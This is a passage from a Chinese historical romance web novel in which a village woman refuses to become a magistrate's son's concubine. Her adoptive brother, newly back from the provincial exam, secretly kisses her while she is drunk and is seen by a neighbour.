姜芸薇身子微微发僵,惶恐道:“承蒙夫人抬爱,只是民女出身乡野,见识粗浅,不懂规矩,恐冲撞了夫人,再者民女平日里还需做绣活补贴家用,实在抽不开身前来叨扰,只怕要辜负夫人一番美意了。” 闻言,县令夫人轻笑一声,语气柔缓如春风,“不妨事的,你 只管来便是了,不必这般拘束。” 姜芸薇手指紧绞着衣袖,心中越发不安。 县令夫人越是和颜悦色,她心里那根弦便绷的越紧,她不过一个普通民女,如何就能够得了县令夫人的青眼,她深知这一切都是因为季珣的缘故。 这些无缘无故的优待,倘若现在受了,将来恐怕难以偿还,而且还会给季珣带来无穷无尽的麻烦。 一念及此,姜芸薇不敢再待下去,她起身离席,垂着头,声音细弱却坚定,“夫人,今日天色已晚,民女突然想起家中还有事情,便先告辞了。” 县令夫人面上的笑意淡了些,眸中露出几分恼意,这个乡野女子,竟然如此不识抬举,得此青眼,是她几辈子修来的福分,她却推拒不受!实在是可恶。 想到老爷的嘱咐,县令夫人按捺住心中的不耐,含笑道:“既然你有事,那便先回去吧,下次得了空,再来陪我说话解闷。” 话毕,不待姜芸薇回应,便看向一旁的嬷嬷,吩咐道:“钱嬷嬷,送姜姑娘回去。” 待到姜芸薇离开后,县令夫人脸上那抹春风般和煦的笑意瞬间敛去,只剩下一脸的嫌恶和轻蔑。 “来人。”她开口,视线落在桌上那套上好的青花瓷茶具上,声音冷的如同淬了冰,“把她方才用过的那套茶具,还有这些糕点通通都拿去扔了。” 丫鬟微怔,却不敢多言,连忙捧着茶具和糕点轻手轻脚的退下了。 * 梁棣今日和朋友在酒楼小聚,喝了几杯薄酒,带着几分醉意回到府中,刚穿过回廊,冷不丁却瞧见一位身形窈窕的女郎。 那女郎身上穿着一件普通的淡青色衣裙,脸上未施粉黛,却难掩眉目清婉,眼底藏着几分怯生生的柔弱,恍若在寒风中摇曳的山茶花,颤颤惹人怜。 梁棣酒意瞬间醒了大半,他目光凝在那女郎身上,一时竟看得失了神。 府中何时竟有这般冰清玉润的女子了?莫不是府中新来的丫鬟? 眼看着女郎就要走远,他不假思索的追了上去,挡在她的面前,“你是何人?看着眼生,我之前怎么没见过你。” 看着突然出现在眼前的陌生男子,姜芸薇脑海中“嗡”的一声,惊了一跳。 她压根不知道此人是谁,但观他衣着华贵,猜测应该是府中主子,她连忙垂下头,福了福身,声音细如蚊呐,“民妇是夫人请来府中的。” 瞧见自家公子看姜芸薇的眼神,钱嬷嬷心中一紧,忙上前一步,挡在姜芸薇面前,笑道:“公子,姜姑娘乃是夫人请来的客人,老奴这会子正要送她回去呢!” 梁棣并未在意钱嬷嬷,目光依旧紧紧黏在姜芸薇的身上,眼神灼热,“你叫什么名字?” 这滚烫的眼神令姜芸薇如芒在背,她垂在袖中的手紧握成拳,心中惴惴不安,压根不敢接话。 钱嬷嬷连忙笑着打圆场,“公子,夫人这会正找你呢,你还不快些过去。” 话毕,福了福身,便带着姜芸薇离开了。 梁棣并未阻拦,他目光饶有兴味的落在姜芸薇的身上,女子步伐急促,背影仓惶,如同受了惊的雀鸟。 一直到姜芸薇的背影消失不见,那双清澈的眼眸依旧在心中挥之不去,梁棣回过神来,连忙转过身,直奔花厅而去。 县令夫人正倚在美人榻上闭目养神,眉目间尽是慵懒之色,瞧见儿子神色匆匆的闯进来,她蹙了蹙眉,“出什么事情了,怎么毛毛躁躁的?” 梁棣迫不及待的开口道:“母亲,儿子方才在园中碰到一位女郎,听说她是你今日宴请的客人。” 瞧见自家儿子这神情,县令夫人还有什么不明白的,想起离去的姜芸薇,她眼底掠过一抹讥诮,“不过是个乡下丫头罢了,也值得你这般挂心?” 梁棣面色讪讪,解释道:“母亲,儿子只是一时好奇……” “我还不知道你?”县令夫人似笑非笑,“你怕是看上那丫头了吧,你若是喜欢,来日纳进府中做个妾室也就是了。” 梁棣面上顿时流露出惊喜之色,“母亲所言当真?” 县令夫人冷哼一声,“自然是真的,我骗你做什么,只要你往后能收收心,少跟那些狐朋狗友出去厮混。” 梁棣笑吟吟,“母亲若是能够达成儿子夙愿,我保证往后事事都听母亲的。” 第30章 第30章 倘若阿珣在这里就好了 县令夫人原本也只是随口一说, 压根没将此事放在心上。 不过一个乡下丫头罢了,还不值得她费心。 梁棣却显然当真了,连续好几晚都梦到姜芸薇。 他家境优渥, 自小顺风顺水, 见惯了曲意逢迎的女子,姜芸薇这般怯弱又娇柔的模样,就像一颗小石子, 猝不及防投进他心湖。 她抬眸时怯怯看来的那一眼, 就如同受惊的幼鹿,令他至今难忘。 越是得不到, 便越发抓心挠肝,心痒难耐。 得知自家儿子为了一个民妇茶饭不思, 梁夫人恨铁不成钢, “不过是个乡下丫头, 棣儿竟然会看上这样身份卑贱的女子。” 钱嬷嬷立在一旁伺候, 闻言笑道:“夫人, 这天下男子,哪有不好色的?那姜姑娘虽然身世差了些,但是相貌那可是没得说,少爷动心也是在所难免。” 梁夫人眸中露出鄙夷之色,“真是个狐媚子!” 顿了顿,她抬起染着蔻丹的手指,抚了抚下巴, 若有所思的说道:“不过,让她进我们梁府当个妾室也不是不行,老爷特意叮嘱我,说那个狐媚子的弟弟季珣将来恐怕大有前途, 不可得罪,让我从他姐姐那里入手,打好关系,如今看来,这不正是一个好办法?他姐姐嫁了棣儿,往后大家就是一家人了。” 想起姜芸薇那双清澈的眼眸,钱嬷嬷欲言又止,“只是,恐怕姜姑娘不会愿意。” 梁夫人嗤笑一声,“她不过一个乡下来的丫头,没爹没娘的,能够给我儿子做妾,已经是抬举她了。” 钱嬷嬷赔笑道:“话是这么说,然而,她那个弟弟……” 梁夫人黛眉一挑,“且不说他这次乡试能不能考上,就算当真榜上有名,也不过是个举人罢了,他一无人脉,二无钱财,和我们梁家结亲,已经是他们姐弟两人几辈子修来的福分了,这件事情就交给你去办,你亲自上门去一趟,将这门亲事尽早定下来。” 见梁夫人心意已决,钱嬷嬷只得躬身应道:“是!” * 当日下午,钱嬷嬷便亲自登门,来到了姜芸薇租赁的小院。 姜芸薇虽然不愿意再和县令府的人有任何瓜葛,却还是客客气气的将人给请了进去。 钱嬷嬷目光扫过这间简陋却温馨的小院,面上神情未变,她笑着说道:“姜姑娘,我今日登门,乃是有一桩天大的喜事要告诉你。” 姜芸薇心中有了几分不好的预感,“什么喜事?” “上次你在府中撞见的那位公子,也就是我们少爷,他自从上次见了姑娘一面后,便对你牵肠挂肚,俗话说,窈窕淑女,君子好逑,少爷昨日便向夫人提了此事。” 姜芸薇僵在原地,一颗心沉到了谷底。 钱嬷嬷并未在意她的反应,依旧笑吟吟的说道:“夫人的意思是,少爷的身边,如今正好缺一个知冷热的,便想着让姑娘你进门,给我们家少爷做良妾。” 顿了顿,见姜芸薇脸色不好看,钱嬷嬷连忙飞快补充道:“虽然是良妾,然而少爷如今还未娶妻,姑娘进了门后,便是府里头的正经主子,月例银子,头面首饰,绫罗绸缎,这些样样少不了,姑娘你也不用再为生计发愁,每日还有丫鬟下人伺候,况且将来倘若姑娘的弟弟遇到 什么事情,府中也能够帮衬一二。” 姜芸薇脸上血色刹那间褪去,垂在袖中的指尖微微颤抖,沉默须臾后,她才抬起头,缓缓开口,嗓音细弱却坚定,“多谢夫人与公子抬爱,只是民女粗鄙,恐配不上公子,还请嬷嬷替我回绝夫人。” 看着她单薄清瘦的身影,钱嬷嬷叹了口气,语重心长的劝道:“姜姑娘,你好好想想,这般好机缘,多少人盼都盼不来,你怎么就不知道珍惜呢,老奴说句不好听的,你出身普通,又无父无母,将来嫁的人,家世恐怕也好不到哪里去,你嫁过去以后,就得操持家务,出去抛头露面,赚钱养家,如何及得上在县令府,吃穿用度都是上等,只需坐着享福就好了。” 姜芸薇脸色惨白,紧咬着下唇,背脊挺得笔直,“嬷嬷不必多言,我心意已决。” 从小,季母便教她,宁做寒门妻,不做高门妾,县令府中虽然是锦衣玉食,却需要处处仰人鼻息,倒不如嫁个普通人,粗茶淡饭,一世安稳。 钱嬷嬷继续劝道:“季姑娘不妨再考虑考虑,倘若令弟此次乡试当真考上了举人,往后的路,也离不开人脉搭桥和银钱铺路,然而若是姑娘当真嫁进了县令府,县太爷自然会照拂令弟一二,这可是莫大的机缘啊。” 姜芸薇睫毛颤了颤,胸口恍若被巨石压住般难受,她抬眼望向钱嬷嬷,嗓音柔软,“钱嬷嬷,俗话说,聘者为妻奔为妾,民女虽然出身寒微,却也不愿做那仰人鼻息的妾室,况且,阿珣的前程,是他自己寒窗苦读、奋发勤学努力挣来的,而绝非靠民女委身做妾换来,倘若我当真应允,又将我弟弟阿珣置于何地?” 她一字一句,嗓音虽然轻柔却分外清晰,恍若含着千钧的力道。 看着姜芸薇面上的果决之色,钱嬷嬷一时竟怔住了。 眼前的女郎,虽然看着柔弱温顺,然而骨子里却是这般的倔强硬气。 钱嬷嬷心中不忍,语气便也软和了几分,“姑娘的意思我明白了,老奴这就回去禀报夫人。” 话毕,转身便告辞离开了。 姜芸薇瘫坐在长凳上,紧握的拳头慢慢松开,手心早已经被汗水濡湿,一片冰凉。 她此刻心中满是惊惶。 上次梁夫人邀她进府,表面上看起来温柔极好说话,然而姜芸薇自小便善于察言观色,自然能够看得出来,梁夫人含笑的眸中,暗藏着的轻蔑和厌恶。 梁夫人性情高傲,不是个好相与的。 自己此番拒绝,落了梁夫人的面子,她定然不会就此善罢甘休! 倘若梁夫人伺机报复,她又该如何应对? 一阵寒意瞬间窜至头顶,姜芸薇指尖止不住的发颤。 倘若阿珣此刻在这里就好了。 阿珣虽然不过才十五岁的年纪,性子却素来沉稳内敛,眉眼间藏着与年岁不符的稳重,似乎任何困难的事情在他手中,都能够迎刃而解。 往日里不管遇到什么难处,皆是阿珣不动声色的挡在身前,替她遮风挡雨,他是那般聪慧通透,踏实可靠。 倘若他在这里,事情一定能够圆满解决。 这一刻,姜芸薇脑海中竟鬼使神差的,冒出了这个念头。 她先是被这突如其来的念头惊得一怔,紧接着,心中骤然涌起几分浓烈的羞愧情绪。 明明她才是姐姐,却总是这般怯懦无用,不仅丝毫没有尽到做姐姐的义务,反而总是让季珣三番四次的来保护她,为她以身犯险。 一念及此,姜芸薇长叹了口气。 罢了,车到山前必有路,总会有办法的,她要学着自己去解决问题,而不是一遇到事情,便想着依靠别人。 自阿珣去省贡院参加乡试,已经过了快十日了,也不知道他现在怎么样了,那边的饮食,他是否吃得惯?带的衣裳够不够穿?住的是否舒适? 姜芸薇眸中流露出丝丝忧虑,她如今,只盼着季珣能够早日平安归来。 * 钱嬷嬷回府后,将姜芸薇的回答原封不动的禀告给梁夫人。 梁夫人听后,脸色瞬间冷了下来,她抬手猛的将桌面上的茶盏拂落在地,嗓音中带着冷厉的讥诮,“果然是个见识短浅的乡下丫头,竟如此不识抬举!她还真当自己是什么香饽饽了,不过是个父母双亡的孤女,仗着有几分姿色,便敢如此拿乔!” 地上茶盏碎裂一地,屋内伺候的下人噤若寒蝉,大气都不敢喘。 钱嬷嬷觑着梁夫人脸色,小心翼翼的劝道:“夫人何必和一个农女一般见识,平白气坏了身子。” 梁夫人眼底淬着冷意,显然没将钱嬷嬷的话听进去,她语气狠厉,“她算是什么东西,也敢拒绝我?我一定要让她知道,忤逆我是什么下场!”《 》 30-40 第31章 第31章 阿姐,我很想你 清晨, 天才刚蒙蒙亮,晨露缀在草木细叶上,闪烁着粼粼的光, 整个衙门都被一层青灰色的薄雾笼罩着。 姜芸薇立在县衙门口, 搓了搓冻得发僵的手指。 没过多久,朱漆大门“吱呀”一声被人打开,两个衙差睡眼惺忪的走了出来, 瞧见姜芸薇时, 微微一怔,紧接着, 打着哈欠道:“姑娘,你来太早了, 辰时衙门才升堂呢。” 姜芸薇柔声道:“官爷, 民女有事想要求见县令大人, 还请代为通传。” 衙差将她上下打量一番, 见她衣着朴素, 语气之中便多了几分轻视,“姑娘你懂不懂规矩?眼下还没升堂,大人还在后堂用早膳,岂是你说见就能见的?” 姜芸薇急忙道:“官爷,你就跟县令说,我是季珣的姐姐,他听后一定会见我的。”她的语气分外笃定。 衙差将信将疑的瞥她一眼, 口中抛下一句“等着”,便转身走了进去。 很快,衙差便去而复返,这一次, 他望向姜芸薇的眼神恭敬多了,抬手道:“姑娘里面请。” 姜芸薇松了一口气。 看来,她赌对了。 现如今,只有县令梁大人能够帮她了。 姜芸薇走进内堂,正要行礼,县令连忙抬手拦住她,脸上堆满了笑意,“姜姑娘不必多礼,快快请坐。”说完,又看向身旁的小厮,“还不快去给姜姑娘沏一壶热茶来。” “不必麻烦了。”姜芸薇连忙直入主题道:“实不相瞒,我今日求见县令大人,乃是有事相求。” 县令笑的见牙不见眼,“姜姑娘有事尽管开口,令弟去省贡院参加乡试之前,还特意叮嘱让本官多加照拂你呢。” 瞧见县令的反应,姜芸薇心中紧张的情绪这才逐渐松懈下来,她抿了抿唇,这才将梁夫人意欲让她进府做妾的事情一五一十的都说了出来。 话毕,她抬起头,沉声道:“民女身份卑微,实在是不敢高攀令公子,还望县令大人做主,将来莫要再提及此事,否则,我宁可一死。” 她抬手拢了拢鬓边的碎发,脸上透着一股子“宁为玉碎,不为瓦全”的决绝。 县令愣了一下,待到反应过来后,急忙道:“姜姑娘你可千万不要冲动啊,既然你不愿意,此事就此作罢,是我儿子没有福分。” 对于此事,他丝毫不知情,若是能够促成这桩亲事,确实是皆大欢喜,毕竟倘若姜芸薇嫁给了自己儿子,便也就此拿捏住了季珣,然而,既然姜芸薇铁了心不情愿,若是以权压人,只怕姻缘结不成,反倒结了仇怨。 那个季珣,可不是什么省油的灯,不仅得了贵人青睐,还三言两语,就让方家一夕之间覆灭,他手中还捏着自己包庇方家,收受贿赂的把柄,倘若姜芸薇有什么三长两短,他一定不会放过自己! 想到这,他脸上的笑容越发殷切,“姜姑娘,此事确实是内人考虑不周,我回去便告诉她,让她打消这个念头。” 姜芸薇忐忑的心慢慢安定下来,“如此,那就多谢县令大人了。” 姜芸薇离开衙门后,脚步都轻快了不少,连日来压在心底的巨石总算卸下,她长舒了一口气。 日头渐渐升高,金色的阳光穿过枝桠,洒落在地面上,投下片片光斑碎影。 道路两旁 早已摆满了各种小摊贩,货郎叫卖声渐次响起,胡饼的香气漫过半条街,包子铺蒸笼中腾起的白雾在半空中漂浮,似乎连空气中都流淌着鲜活的暖意。 今日,又是一个好天气。 * 自从这日以后,梁夫人果然没有再找过她,姜芸薇依旧每日在家绣帕子,闲暇时便和许娘子约着一起去街上逛逛,日子过得平淡而又安稳。 时间过得很快,一眨眼,便到了九月初九重阳节这日。 许娘子一大早便拉着姜芸薇一起去登高,呼吸清气,两人在山上插了茱萸,赏了秋菊,回到家中后,还共饮了自酿的菊花酒。 姜芸薇不会饮酒,她原是不想喝的,却耐不住许娘子的软磨硬泡,况且,今日又是重阳佳节,赏菊饮酒乃是节日习俗,便难得放纵了一回。 一直喝到戌时,姜芸薇才离开许娘子家,脚步踉跄的朝着自家院子的方向走去。 她明明只喝了一壶,此刻却觉得酒意上涌,双颊发烫,意识也朦朦胧胧的,原本清亮的眸子此时像是蒙了一层白雾,热意丝丝缕缕渗进四肢百骸,就恍若骨头都酥软了般。 姜芸薇抬手推开院门,却见屋内亮着烛光,晕开一片暖黄色的光晕,她迟缓的眨了眨眼,心中一时生出几分茫然,她走之前,竟忘了吹灭烛火吗?她想不起来了。 姜芸薇跌跌撞撞的朝着屋内的方向走去,脚下像是踩着云絮般,软绵绵的使不上力气。 快要走到屋内的时候,突然被脚下的门槛绊了一下。 眼看着就要摔倒,一双有力的臂膀,蓦地稳稳的揽住了她的腰肢,“阿姐,走路当心些。” 她撞进一个温热宽阔的怀抱,一股熟悉的、清冽的气息霎时间铺天盖地涌来,将她整个人笼罩其中。 姜芸薇晕乎乎的抬起头,不期然撞上一双熟悉的深邃眼眸。 居然是季珣。 她眯了眯眸,有些怀疑是自己喝醉了出现了幻觉,季珣此刻远在省贡院,又怎么会出现在这里? 姜芸薇指尖无意识的攥住他胸前的衣襟,口中无意识的嘟囔,“我是不是喝太多醉了,又出现幻觉了,早知道就不听许娘子的了。” 菊花酒虽清甜温润,却后劲绵长,不宜贪多。 季珣宽厚的大掌紧贴着她腰间的衣料,她身上的温度,似乎隔着一层薄薄的衣衫,传递到了自己的身上。 他定定的望着怀中的女郎,面色沉静无波,然而瞳仁深处,却凝了层灼热幽暗的光芒。 融融烛光下,姜芸薇此刻双颊绯红,眼波迷离,眸中像是氤氲着一层水雾,如春水荡漾,她的嘴唇沾染了一丝酒液,在烛火下泛着润泽的光芒,勾人而不自知。 她身上那股清甜又带着微苦的菊花酒香,混着她发间幽兰的香气,交缠融合在一起,隐隐撩拨着季珣的神经。 “阿姐,你这是喝了多少酒?”季珣嗓音低沉,透着几分喑哑。 他说话时,喷洒的气息拂过姜芸薇的头顶和耳廓,带着几分灼热,令姜芸薇醉意愈发浓了,整个人如一滩水,软倒在他的怀中。 姜芸薇眼尾泛着薄红,就连呼吸之间,都带着温热的酒意,她伸出一根手指,眸中水光潋滟,“阿珣,我就喝了一壶酒。” 嗓音清甜绵软,如同江南缠绵的风,缱绻动人。 她平日里温柔安静,也只有喝醉了酒,才会露出这般小女儿的娇态,可爱极了。 季珣情不自禁的俯下身,小心翼翼的吻了吻她的额头。 恍若蜻蜓拂过水面,一触即分。 季珣目光幽深暗沉,他手指不自觉收紧了些,像是要将怀中人揉入骨血之中。 看着姜芸薇醉眼朦胧的模样,他故意使坏般,手指隔着衣料,极轻、轻缓的摩挲着她腰间的软肉,嗓音低沉,带着一点被水汽浸润过后的哑意,“阿姐,往后喝不了酒,便不要喝了,喝醉了酒,第二日醒来头可是要痛的。” 腰间传来的酥麻感,令姜芸薇秀丽的眉头蹙成一团,她身子躲闪了一下,口中溢出细碎的轻语,“痒。” 季珣低笑一声,带起一阵胸腔的震动,他眸中流露出几分愉悦的光芒。 紧接着,他缓缓松开手,目光含笑的凝视着她,“阿姐,这不是幻觉,我是阿珣,我回来了,你睁开眼睛看看我。” 闻言,姜芸薇酒意顿时醒了大半,她眼睫猛的眨了眨,定定望着眼前的人。 昏黄的烛火笼罩在他的身上,给他周身镀上一层柔润的暖光,他漆黑的眼眸在烛火下泛着细碎的光,衬得眸底清亮如同浸了月光。 他的目光太过炙热,姜芸薇如同被火烫了般,猛的清醒过来,“阿珣,你怎么突然回来了?” 按理来说,乡试考完后,还得在省贡院多住上一段时日,等到放榜了再回来,他怎么这么早就回来了?她前几日才刚刚算过日子,按照她预想的时间,起码还要再晚上半个月左右,如今却提前了这么久! 季珣弯了弯唇,柔声道:“阿姐,今日是重阳佳节,我想和阿姐一起过节。” 乡试一结束,他便快马加鞭的赶回青阳镇,一路上不知道跑死了多少匹马,只为了能够早日见到姜芸薇。 分开的这些日子,他没有一日不想着姜芸薇,往日里追求的那些权势、地位,财富,如今看来,却只觉得毫无趣味,唯有在姜芸薇的身边,他才觉得自己是个真正活生生的人,他的喜怒哀乐、贪嗔痴怨,那些陌生的,鲜活的情绪,皆是因她而生。 “阿姐,我很想你。”季珣目光贪婪的一寸寸巡睃过她的眉眼、鼻梁、嘴唇,他的眼神恍若一簇燃烧着的火焰,所过之处,似乎就连空气之中,都添了几分灼热。 被他这样的眼神看着,姜芸薇竟无端觉得心口发紧,她慌忙垂下眼帘,避开这灼热的目光,“阿珣,我也很想你,你平安回来了就好。” 顿了顿,她转过身,走到桌边坐下,“对了,今日乃是重阳节,阿珣,我做了重阳糕,你可要尝尝?” 第32章 第 32 章 阿姐的一番心血,岂能浪…… 季珣眸中蕴着笑意, “既然是阿姐做的,自然要尝尝。” 瞧见他亮晶晶的眸子,姜芸薇脸颊微红, 小声嗫喏着补充道:“我也是头一遭尝试, 可能不怎么好吃,只是为了讨个吉利,你随便吃一两口就好了。” 以前季母在世的时候, 每年重阳节都会亲手做重阳糕, 有避灾祈福、步步高升的寓意。 只是可惜,她还没有来得及学会, 季母便去世了。 她今日尝试着做了几块,还给许娘子尝了尝。 许娘子只咬了几口便无论如何都不肯再吃了。 说是太甜了, 甜得发齁, 糕体也太过松散, 不够软糯。 姜芸薇本想再吃几口便扔掉的, 如今既然季珣回来了, 吃重阳糕又是节日习俗,便想着让他尝一口,讨个好彩头,保佑他此次乡试能有个好成绩。 说着,她从桌上的碟子中,执起一块白玉似的糕点,其间还点缀着枣、栗、杏仁, 被暖黄色的烛光一照,泛着温润柔和的光泽,甜丝丝的香气,在空气中弥漫着。 “你尝尝。 她刚要递到季珣面前, 季珣却蓦地俯下身子,就着她的手,一口咬上了那糕点。 动作极其自然,似乎只是在做一件再平常不过的事情。 他温热的唇瓣无意间擦过她的指腹,姜芸薇心尖一颤,一股过电般的酥麻感瞬间涌上心头。 姜芸薇僵在原地,脑海中像是糊了一团浆糊,压根无法思考。 糯米的软糯糅杂着蜜枣的甜香在唇齿间化开,绵长而又醇厚,丝丝缕缕蔓延开来,一路甜到了心口。 季珣眯了眯眸,他卷起舌尖,若有似无的舔舐过唇角,似是在回味,尾音微微扬起,含了丝笑意,“阿姐,很甜。” 季珣的声音唤回了她的思绪。 姜芸薇脸颊滚烫的烧了起来,方才季珣居然就着她的手吃了糕点,虽然两人乃是姐弟,但这样的举动未免也有些太过亲密些了。 她张了张唇,想要 开口提醒,目光扫过他眉眼,见他眸光澄澈,神情没有半分旖旎之色,到了舌尖的话便又被咽了回去。 许是自己想多了,阿珣并无任何绮念,她这样一开口,倒反而显得有些小题大做了。 两人一时都没有再说话,那股子酒劲又涌了上来,姜芸薇的脑袋依旧有些昏昏沉沉的,恍若塞了一团浸水的棉絮。 眼前烛光晃成一团模糊的光晕,像是蒙了一层薄薄的纱,一切都如雾里看花般,影影绰绰,看不清晰。 手中剩下的糕点突然被季珣拿了过去,姜芸薇这才如梦初醒般,睫毛轻轻颤了颤,“阿珣,吃一口讨个吉利就好了,这糕点不好吃的。” 季珣面不改色的咬了一口,在唇齿间细细咀嚼着,“阿姐的一番心血,岂能浪费?” 姜芸薇呆呆的眨了一下眼睛,樱唇微张,眼里蒙着一层水雾似的茫然。 看着她眼尾洇开的那一抹红晕,水盈盈的眸子,季珣心中一软,“阿姐,这酒后劲大,既然你身子不适,便坐着好好歇会吧,我去给你煮碗醒酒汤。” “好。”姜芸薇嘴唇翕动,慢半拍的点了点头,声音软的像棉花。 醉酒后的她,简直乖的不像话。 季珣忍不住伸出手,揉了揉她乌黑的发顶,“那阿姐在这等我一会。” 话毕,他转过身,朝着灶房的方向走去。 前世,季珣初入京城时,无权无势,不知道被多少人明里暗里的排挤、欺凌、打压,他那时候生活过得很是拮据,什么事情都是自己亲力亲为,做饭洗衣、操持家务,这些事情于他而已,就如同家常便饭一般,煮一碗醒酒汤,自然也不在话下。 待到季珣煮完醒酒汤出来后,却见姜芸薇双臂交叠,已经趴在桌子上睡着了。 潋滟的烛光下,她面颊泛着淡淡的粉色,恍若熟透的蜜桃,乌发如云堆叠在桌上,鸦羽般的睫毛在眼下覆下一片浅浅的阴影,眉目舒展、呼吸清浅。 季珣下意识的放轻了脚步,目光贪婪而又肆意的描摹着她的眉眼。 周遭寂静无声,唯有烛火燃烧发出的噼啪声响,他清晰的听见自己的心跳声,在胸腔里剧烈而又疯狂的跳动着,仿佛下一瞬就要冲破束缚蹦出来。 他情不自禁的俯下身子,慢慢靠近她的脸。 两人的距离越来越近,季珣能够闻到她身上淡雅的幽兰香气,看见她樱桃般小巧的嘴唇,柔软而又红润,似乎在引诱着他靠近。 一个滚烫的吻如同羽毛,轻飘飘的落在姜芸薇的薄唇上。 两人的呼吸在咫尺间交缠,姜芸薇似乎有所察觉,睫毛轻轻颤了颤,恍若蝴蝶扑簌着扇动了一下翅膀。 * “芸娘,我煮了醒酒汤……” 伴随着这声音传来的同时,一道瓷碗砸在地上的清脆声响骤然打破了黑夜的寂静。 季珣猛地直起身,回头看去。 他眸中的温柔缱绻刹那间褪去,周身都充满了冷冽的寒意。 只见皎白的月光下,许娘子正一脸惊愕的站在门外的院子里,与他对上视线。 …… “阿珣,方才是什么声音?” 姜芸薇揉了揉眼睛,缓缓坐了起来,声音还带着初醒的朦胧和沙哑。 这酒后劲太大了,她此刻心口有一股灼烧感,自喉头翻涌上来,头也昏昏沉沉的。 季珣神色温和,“没事,阿姐,我给你煮了醒酒汤,你喝了再回房睡吧。” 话毕,走进灶台,将醒酒汤端了出来,递到姜芸薇的面前。 视线不经意间瞥过门外,却见院子里方才许娘子站着的地方,此刻已经是空无一人。 姜芸薇握着温热的素白瓷碗,小口小口的啜饮起来。 汤里加了蜂蜜、陈皮、甘草、甜润中泛着几分淡淡的酸涩,温热的汤汁滑过喉间,化作一股暖流蔓延至四肢百骸,奇异地压下了胃里那股酸涩与灼烧感。 待到喝完后,季珣贴心的递过来一块帕子,“阿姐,擦擦嘴。” 姜芸薇点了点头,接过帕子将唇边沾上的汤渍擦了擦。 屋外,夜色如泼墨般浓稠,一弯明月如勾,挂在漆黑的天幕上,透过树叶缝隙,洒下星星点点光辉。 季珣温声道:“时候不早了,阿姐早些休息吧。” * 翌日清晨,姜芸薇醒过来的时候,头还有些晕眩,她揉了揉太阳穴,半晌后,意识才逐渐回笼。 昨夜的记忆铺天盖地的涌入脑海。 阿珣昨夜回来了,还给她煮了醒酒汤。 想到这里,她连忙穿好衣服,洗漱一番后,便匆匆走了出去。 然而,外面却是空无一人。 院子里,灶房,房间,通通都找过了,压根不见人影。 姜芸薇有些颓然的叹了口气。 想必是太过挂念季珣,这才导致生出了幻觉。 此处距离省贡院路途遥远,季珣又怎么可能这么快就回来? “芸娘。” 这时候,院子外突然传来了许娘子的声音。 姜芸薇连忙走上前打开院门,只见许娘子立在门外,正面色古怪的朝着屋内探头看去,“季公子是不是一大早就出去了?” 姜芸薇惊呼出声,“什么?你说阿珣他回来了?” “对啊,你不知道吗?”许娘子面露讶异之色。 姜芸薇揉了揉眉心,“昨夜喝醉了,有些头疼,我还以为是出现幻觉了。” 许娘子道:“今日天还没亮,我就听到门口有动静,应该是季公子一大早出去了。” 说完,她手指绞着手中的帕子,一脸欲言又止的望着眼前的姜芸薇。 昨夜的那一幕场景又忍不住在脑海中浮现。 烛火摇曳下,素来冷冽寡言的少年,慢慢俯下身子,小心翼翼的,亲在熟睡的姜芸薇的嘴唇上,恍若在触碰一件稀世珍宝。 季珣,他居然觊觎自己的姐姐! 现在想来,许娘子心中依旧震惊不已。 她收回思绪,面色复杂的看向姜芸薇。 眼前的女子眼眸澄澈,无丝毫杂念,这般单纯,丝毫不知道自己朝夕相伴的弟弟其实是个怀有卑劣心思的魔鬼,竟然对自己的姐姐做出这种悖逆人伦之事! 许娘子叹了口气,试探问道:“芸娘,昨夜发生的事情,你都不记得了吗?” 姜芸薇眨了眨眼,不明所以,“记得一些,怎么了?” 许娘子下意识的压低了声音,“那你有没有听到什么声音,我昨日来给你送醒酒汤了,你可知晓?” 姜芸薇愣了愣。 昨夜,她好像隐约间听到了瓷碗砸在地上发出的清脆声响。 思及此,她歪了歪脑袋,“我好像确实听到了些动静,昨夜,你是不是打碎了汤碗。” 许娘子连连点头,“对。” 这些日子相处下来,彼此也算是颇为了解,在许娘子心目中,姜芸薇是个温柔善良的女郎,她不希望姜芸薇受到伤害,所以想要将昨夜看到的那一幕告诉她。 然而,季珣那双寒潭般冷冽的眸子却时不时浮现在脑海,眸光阴鸷蕴着翻涌的杀意,令她肝胆俱颤。 昨夜和他对视的那一刹那,她浑身的血液都在一瞬间冻住了,她甚至丝毫不怀疑,季珣下一刻便会杀了她灭口。 第33章 第33章 季公子似乎对你太过亲密了些…… 瞧见许娘子一脸踟蹰的神情, 姜芸薇不由好奇问道:“可是出什么事情了?昨日阿珣也给我煮了醒酒汤,我喝过后便睡着了。” 许娘子想了想后,委婉提醒道:“芸娘, 你可觉得, 季公子似乎对你太过亲密了些?” 姜芸薇愣了愣。 许娘子的话尤其一颗石子投入湖面,令她平静的心泛起了细微的波澜。 连日来,两人相处的点点滴滴, 不由自主的在脑海中浮现。 上次她不慎中药后, 季珣将她揽在怀中,两人肌肤相亲, 再譬如昨日,他极其自然的就着自己的手吃糕点, 还有他看向自己时, 那若有似无的、充满侵略性的眼神。 一桩桩, 一件件, 早已经超越了姐弟之间正常的相处范畴, 她之前并未在意,只觉得是意外,如今细细想来,却只觉得胆战心惊,俗话说,男女七岁不同席,两人最近的行为, 确实太过越界了些。 两人从小一起长大,姜芸薇一直将季珣当成自 己的亲弟弟看待,倘若他当真存了别样的心思…… 姜芸薇一时竟不敢继续想下去,季珣乃是如圭如璋的温润端方君子, 前途不可限量,怎么可能会对她这个姐姐存有别样的心思?想必是母亲去世以后,他心中伤怀,便格外依恋亲近她这个姐姐。 她不断在心中这般安慰着自己。 然而,有些念头一旦破土而出,便很难再压下去。 心底某个角落,始终萦绕着一股挥之不去的忐忑与不安。 “阿姐。”季珣的嗓音蓦地在门外响起,“怎么站在外面?有什么事情进屋说吧,早上风大,仔细染了风寒。” 姜芸薇心口猛地一跳,她下意识的抬眸,恰好撞上季珣的视线。 四目相对,季珣的眸光清浅无波,像是一泓清澈的湖水,无波无澜。 瞧见他这副沉静淡然的模样,姜芸薇攥紧了袖角,心中打起了鼓。 定然是自己多心了吧? 季珣这样子,怎么看都不像是对她怀有别样的心思,许是她曲解了。 许娘子却是惊的脸色煞白,季珣的声音,于她而言,不啻于惊雷。 她甚至不敢回头看一眼,便嗓音干涩的开口道:“芸娘,我还有些事情,就先回去了。” 说完,匆匆转过身朝着隔壁院子的方向而去。 季珣并未在意仓皇离去的许娘子,他目光落在姜芸薇的身上,语调温和,“阿姐神情有异,可是出什么事情了?” “没什么。”姜芸薇连忙摇了摇头,她压下心头纷杂的思绪,面上露出一副笑容,故作若无其事的问道:“阿珣,你一大早去哪里了?” 季珣轻声道:“去了书院一趟。” 闻言,姜芸薇心中一紧,连忙问道:“可是出什么事情了?” 